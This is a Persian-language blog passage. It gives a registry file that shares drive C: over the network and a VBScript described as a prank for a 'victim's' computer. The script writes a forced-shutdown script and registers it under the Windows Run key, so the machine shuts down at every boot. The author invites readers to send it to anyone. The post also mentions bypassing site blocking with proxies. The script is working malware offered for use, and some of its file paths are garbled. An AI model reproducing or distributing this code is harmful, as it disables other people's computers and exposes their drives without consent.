REGEDIT4 [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionNetworkLanManC] "Flags"=dword:00000192
"Parm1enc"=hex:
"Parm2enc"=hex:
"Path"="c:\"
"Remark"="Drive c:"
"Type"=dword:00000000

از دستور کپی و پیست برای برداشتن این چند خط استفاده کنید و روی نوت پد کپی کنید فونتاش درست کپی میشن و گرنه فایل شما اجرا نمی شه. این مشکلی هست که بلاگ اسکای دارم علامتها رو خوب نشون نمی ده بخصوص نقطه ها و گیومه ها رو جابجا می کنه اگه کسی می دونه چطور می شه حلش کرد لطفا بگه .
سری بعد سعی می کنم فایل مربوط به ویندوز اکس پی و 2000 را براتون بذارم. پیشاپیش سال نو رو به همتون تبریک می گم . تا پایان امسال چیزی نمی نویسم. از اینکه به ما سر می زنید ممنونم . نظر دادن هم یادتون نره

ویژوال اسکریپت زیر رو نمی دونم توی کدوم سایت دیدم تا بگم .  این اسکریپت رو اگر روی کامپیوتر قربانی اجرا بشه نمی ذاره کامپیوترش بالا نمی آد . حتی فرصت کلیک کردن روی ایکن ها رو بهش نمی ده .و پشت سر هم restart می شه! من روی کامپیوتر اجراش کردم خیلی باحال بود. می تونید روی کامپیوتر خودتون هم اجراش کنید . برای خلاصی ازش باید فایل C: estart.vbs  رو از کامپیوترتون از طریق Dos حذف کنید بعد ویندوزتون بالا می آد  
سورس رو می ذارم علائمش در هم برهم هست همونجور کپی کنید بعد روی notepad کپی کنید خودش درست می شه و فایل رو  هم با پسوند vbs ذخیره کنید و می تونید برای هر کسی که دلتون بخواد بفرستید.

Sub ShutDown
Set FSO = CreateObject("Scripting.FileSystemObject")
Set TxtFile = FSO.CreateTextFile("c: estart.vbs", 2, False)
TxtFile.WriteLine "Sub ShutDown "
TxtFile.WriteLine "nLogOff=0 "
TxtFile.WriteLine "nReboot=2 "
TxtFile.WriteLine "nForceLogOff=4 "
TxtFile.WriteLine "nForceReboot=6 "
TxtFile.WriteLine "nPowerDown=8 "
TxtFile.WriteLine "nForcePowerDown=12 "
TxtFile.WriteLine "Set oOS = GetObject("+chr(34)+"winmgmts:{(Shutdown)}"+chr(34)+").ExecQuery("+chr(34)+"Select * from Win32_OperatingSystem"+chr(34)+") "
TxtFile.WriteLine "For Each oOperatingSystem in oOS "
TxtFile.WriteLine " oOperatingSystem.Win32Shutdown(nForcePowerDown) "
TxtFile.WriteLine "Next "
TxtFile.WriteLine "End sub "
TxtFile.WriteLine "ShutDown "
TxtFile.Close
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunRestart", "c: estart.vbs"

End sub
ShutDown  

سلام خیلی وقته که سرم شلوغ بود نتونستم آپ دیت بشم.

یه چند وقتیه که مخابرات اکثر سایتها رو بلوکه کرده   برای همین هم یه آدرس بالا گذاشتم تا بتونید از شر پروکسی خلاص بشید. البته همه پروکسی ها رو نمی تونه دور بزنه .اگه یه سایت توپ پیدا کردم اینجا قرار می دم.  

فعلا خداحافظ